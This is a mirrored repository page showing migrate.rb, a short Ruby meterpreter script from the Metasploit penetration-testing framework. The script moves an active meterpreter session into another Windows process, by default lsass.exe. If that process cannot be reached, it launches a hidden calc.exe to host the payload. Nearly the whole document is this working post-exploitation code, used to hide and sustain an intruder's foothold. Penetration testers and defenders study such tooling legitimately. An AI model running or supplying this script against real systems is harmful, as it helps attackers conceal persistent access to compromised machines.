1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00
metasploit-framework/scripts/meterpreter/migrate.rb
James Lee e836e6373a add Id to scripts; remove shebang since they should never run from commandline
git-svn-id: file:///home/svn/framework3/trunk@7252 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 18:04:39 +00:00

32 lines
778 B
Ruby

# $Id:$
#
# Simple example script that migrates to a specific process by name.
# This is meant as an illustration.
#
# Get the target process name
target = args[0] || "lsass.exe"
print_status("Migrating to #{target}...")
server = client.sys.process.open
print_status("Current server process: #{server.name} (#{server.pid})")
# Get the target process pid
target_pid = client.sys.process[target]
if not target_pid
print_error("Could not access the target process")
print_status("Spawning a calc.exe host process...")
calc = client.sys.process.execute('calc.exe', nil, {'Hidden' => true })
target_pid = calc.pid
end
# Do the migration
client.core.migrate(target_pid)
server = client.sys.process.open
print_status("New server process: #{server.name} (#{server.pid})")